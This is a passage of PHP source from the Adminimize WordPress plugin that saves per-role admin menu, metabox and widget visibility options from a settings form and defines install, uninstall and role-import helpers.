if ( isset( $_POST[ '_mw_adminimize_exclude_super_admin' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_exclude_super_admin' ] = (int) $_POST[ '_mw_adminimize_exclude_super_admin' ];
} else {
$adminimizeoptions[ '_mw_adminimize_exclude_super_admin' ] = 0;
}
if ( isset( $_POST[ '_mw_adminimize_tb_window' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_tb_window' ] = (int) $_POST[ '_mw_adminimize_tb_window' ];
} else {
$adminimizeoptions[ '_mw_adminimize_tb_window' ] = 0;
}
if ( isset( $_POST[ '_mw_adminimize_cat_full' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_cat_full' ] = (int) $_POST[ '_mw_adminimize_cat_full' ];
} else {
$adminimizeoptions[ '_mw_adminimize_cat_full' ] = 0;
}
if ( isset( $_POST[ '_mw_adminimize_db_redirect' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_db_redirect' ] = (int) $_POST[ '_mw_adminimize_db_redirect' ];
} else {
$adminimizeoptions[ '_mw_adminimize_db_redirect' ] = 0;
}
if ( isset( $_POST[ '_mw_adminimize_ui_redirect' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_ui_redirect' ] = (int) $_POST[ '_mw_adminimize_ui_redirect' ];
} else {
$adminimizeoptions[ '_mw_adminimize_ui_redirect' ] = 0;
}
if ( isset( $_POST[ '_mw_adminimize_advice' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_advice' ] = (int) $_POST[ '_mw_adminimize_advice' ];
} else {
$adminimizeoptions[ '_mw_adminimize_advice' ] = 0;
}
if ( isset( $_POST[ '_mw_adminimize_advice_txt' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_advice_txt' ] = wp_kses(
$_POST[ '_mw_adminimize_advice_txt' ],
array(
'a' => array(
'href' => array(),
'title' => array()
),
'br' => array(),
'em' => array(),
'strong' => array(),
)
);
} else {
$adminimizeoptions[ '_mw_adminimize_advice_txt' ] = '';
}
if ( isset( $_POST[ '_mw_adminimize_timestamp' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_timestamp' ] = (int) $_POST[ '_mw_adminimize_timestamp' ];
} else {
$adminimizeoptions[ '_mw_adminimize_timestamp' ] = 0;
}
if ( isset( $_POST[ '_mw_adminimize_db_redirect_txt' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_db_redirect_txt' ] = esc_url( $_POST[ '_mw_adminimize_db_redirect_txt' ] );
} else {
$adminimizeoptions[ '_mw_adminimize_db_redirect_txt' ] = '';
}
// menu update
foreach ( $user_roles as $role ) {
if ( isset( $_POST[ 'mw_adminimize_disabled_menu_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_menu_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_menu_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_menu_' . $role . '_items' ] = array();
}
if ( isset( $_POST[ 'mw_adminimize_disabled_submenu_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_submenu_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_submenu_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_submenu_' . $role . '_items' ] = array();
}
}
// @ToDo After release of WP 4.7, switch to sanitize_textarea_field()
// own menu slug
if ( isset( $_POST[ '_mw_adminimize_own_menu_slug' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_menu_slug' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_menu_slug' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_menu_slug' ] = '';
}
// own custom menu slug
if ( isset( $_POST[ '_mw_adminimize_own_menu_custom_slug' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_menu_custom_slug' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_menu_custom_slug' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_menu_custom_slug' ] = '';
}
// global_options, metaboxes update
foreach ( $user_roles as $role ) {
// global options
if ( isset( $_POST[ 'mw_adminimize_disabled_global_option_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_global_option_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_global_option_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_global_option_' . $role . '_items' ] = array();
}
if ( isset( $_POST[ 'mw_adminimize_disabled_metaboxes_post_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_metaboxes_post_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_metaboxes_post_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_metaboxes_post_' . $role . '_items' ] = array();
}
if ( isset( $_POST[ 'mw_adminimize_disabled_metaboxes_page_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_metaboxes_page_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_metaboxes_page_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_metaboxes_page_' . $role . '_items' ] = array();
}
foreach ( $post_types as $post_type ) {
if ( isset( $_POST[ 'mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items' ] = array();
}
}
if ( isset( $_POST[ 'mw_adminimize_disabled_link_option_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_link_option_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_link_option_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_link_option_' . $role . '_items' ] = array();
}
// wp nav menu options
if ( isset( $_POST[ 'mw_adminimize_disabled_nav_menu_option_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_nav_menu_option_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_nav_menu_option_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_nav_menu_option_' . $role . '_items' ] = array();
}
// widget options
if ( isset( $_POST[ 'mw_adminimize_disabled_widget_option_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_widget_option_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_widget_option_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_widget_option_' . $role . '_items' ] = array();
}
// wp dashboard option
if ( isset( $_POST[ 'mw_adminimize_disabled_dashboard_option_' . $role . '_items' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_disabled_dashboard_option_' . $role . '_items' ] =
$_POST[ 'mw_adminimize_disabled_dashboard_option_' . $role . '_items' ];
} else {
$adminimizeoptions[ 'mw_adminimize_disabled_dashboard_option_' . $role . '_items' ] = array();
}
}
// own options
if ( isset( $_POST[ '_mw_adminimize_own_values' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_values' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_values' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_values' ] = '';
}
if ( isset( $_POST[ '_mw_adminimize_own_options' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_options' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_options' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_options' ] = '';
}
// own post options
if ( isset( $_POST[ '_mw_adminimize_own_post_values' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_post_values' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_post_values' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_post_values' ] = '';
}
if ( isset( $_POST[ '_mw_adminimize_own_post_options' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_post_options' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_post_options' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_post_options' ] = '';
}
// own page options
if ( isset( $_POST[ '_mw_adminimize_own_page_values' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_page_values' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_page_values' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_page_values' ] = '';
}
if ( isset( $_POST[ '_mw_adminimize_own_page_options' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_page_options' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_page_options' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_page_options' ] = '';
}
// own custom post options
foreach ( $post_types as $post_type ) {
if ( isset( $_POST[ '_mw_adminimize_own_values_' . $post_type ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_values_' . $post_type ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_values_' . $post_type ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_values_' . $post_type ] = '';
}
if ( isset( $_POST[ '_mw_adminimize_own_options_' . $post_type ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_options_' . $post_type ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_options_' . $post_type ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_options_' . $post_type ] = '';
}
}
// own link options
if ( isset( $_POST[ '_mw_adminimize_own_link_values' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_link_values' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_link_values' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_link_values' ] = '';
}
if ( isset( $_POST[ '_mw_adminimize_own_link_options' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_link_options' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_link_options' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_link_options' ] = '';
}
// wp nav menu options
if ( isset( $_POST[ '_mw_adminimize_own_nav_menu_values' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_nav_menu_values' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_nav_menu_values' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_nav_menu_values' ] = '';
}
if ( isset( $_POST[ '_mw_adminimize_own_nav_menu_options' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_nav_menu_options' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_nav_menu_options' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_nav_menu_options' ] = '';
}
// widget options
if ( isset( $_POST[ '_mw_adminimize_own_widget_values' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_widget_values' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_widget_values' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_widget_values' ] = '';
}
if ( isset( $_POST[ '_mw_adminimize_own_widget_options' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_widget_options' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_widget_options' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_widget_options' ] = '';
}
// own dashboard options
if ( isset( $_POST[ '_mw_adminimize_own_dashboard_values' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_dashboard_values' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_dashboard_values' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_dashboard_values' ] = '';
}
if ( isset( $_POST[ '_mw_adminimize_own_dashboard_options' ] ) ) {
$adminimizeoptions[ '_mw_adminimize_own_dashboard_options' ] = stripslashes(
wp_strip_all_tags( $_POST[ '_mw_adminimize_own_dashboard_options' ] )
);
} else {
$adminimizeoptions[ '_mw_adminimize_own_dashboard_options' ] = '';
}
$adminimizeoptions[ 'mw_adminimize_dashboard_widgets' ] = _mw_adminimize_get_option_value(
'mw_adminimize_dashboard_widgets'
);
if ( isset( $GLOBALS[ 'menu' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_default_menu' ] = $GLOBALS[ 'menu' ];
}
if ( isset( $GLOBALS[ 'submenu' ] ) ) {
$adminimizeoptions[ 'mw_adminimize_default_submenu' ] = $GLOBALS[ 'submenu' ];
}
/**
* Filter the adminimize options.
*
* Make the options filterable, so we can modify what is saved before it's sent to the db
*
* @since 1.11.6
*
* @param array $adminimizeoptions the original options.
* @param array $user_roles Array of the user roles.
* @param array $_POST Post data.
*/
$adminimizeoptions = apply_filters( 'mw_adminimize_options_before_update', $adminimizeoptions, $user_roles, $_POST );
// update
$update_status = _mw_adminimize_update_option( $adminimizeoptions );
$myErrors = new _mw_adminimize_message_class();
if ( $update_status ) {
$message = $myErrors->get_error(
'_mw_adminimize_update'
);
} else {
$message = $myErrors->get_error(
'_mw_adminimize_access_denied'
);
}
echo '<div id="message" class="notice notice-success"><p>' . $message . '</p></div>';
return TRUE;
}
/**
* Delete options in database
*/
function _mw_adminimize_uninstall() {
wp_cache_delete( 'mw_adminimize' );
delete_site_option( 'mw_adminimize' );
delete_option( 'mw_adminimize' );
}
/**
* Install options in database
*/
function _mw_adminimize_install() {
if ( ! is_admin() ) {
return;
}
// If is AJAX Call.
if ( defined('DOING_AJAX') && DOING_AJAX ) {
return;
}
global $menu, $submenu;
$user_roles = _mw_adminimize_get_all_user_roles();
$adminimizeoptions = array();
foreach ( $user_roles as $role ) {
$adminimizeoptions[ 'mw_adminimize_disabled_menu_' . $role . '_items' ] = array();
$adminimizeoptions[ 'mw_adminimize_disabled_submenu_' . $role . '_items' ] = array();
$adminimizeoptions[ 'mw_adminimize_disabled_admin_bar_' . $role . '_items' ] = array();
$adminimizeoptions[ 'mw_adminimize_disabled_global_option_' . $role . '_items' ] = array();
$adminimizeoptions[ 'mw_adminimize_disabled_metaboxes_post_' . $role . '_items' ] = array();
$adminimizeoptions[ 'mw_adminimize_disabled_metaboxes_page_' . $role . '_items' ] = array();
$args = array(
'public' => TRUE,
'_builtin' => FALSE,
);
foreach ( get_post_types( $args ) as $post_type ) {
$adminimizeoptions[ 'mw_adminimize_disabled_metaboxes_' . $post_type . '_' . $role . '_items' ] = array();
}
}
$adminimizeoptions[ 'mw_adminimize_default_menu' ] = $menu;
$adminimizeoptions[ 'mw_adminimize_default_submenu' ] = $submenu;
if ( _mw_adminimize_is_active_on_multisite() ) {
add_site_option( 'mw_adminimize', $adminimizeoptions );
} else {
add_option( 'mw_adminimize', $adminimizeoptions );
}
wp_cache_add( 'mw_adminimize', $adminimizeoptions );
}
/**
* Make sure adminimize option is complete when a role json file is imported
*
* @param array $roles_options
*
* @return array
*/
function _mw_adminimize_roles_complete_options( $roles_options ){
$adminimizeoption = _mw_adminimize_get_option_value();
foreach ( $roles_options as $role_option_name => $role_option_value ){
$adminimizeoption[$role_option_name] = $role_option_value;
}
return $adminimizeoption;
}
/**
* Check if options comes from roles adminimize settings export
*
* @param array $options
*
* @return bool
*/
function _mw_adminimize_is_roles_options_import( $options ){
global $wp_roles;
$roles_options = [];
foreach ( $wp_roles->role_names as $role_slug => $role_name ){
$role_options = array_filter(
$options, function ( $option_key ) use ( $role_slug ) {
return stripos( $option_key, '_' . $role_slug ) !== false;
}, ARRAY_FILTER_USE_KEY
);
if ( empty( $roles_options ) ){
$roles_options = $role_options;
} else {
$roles_options = array_merge( $roles_options, $role_options );
}
}
if ( count( $options ) === count( $roles_options ) ){
return true;
}
}
Back to Directory
File Manager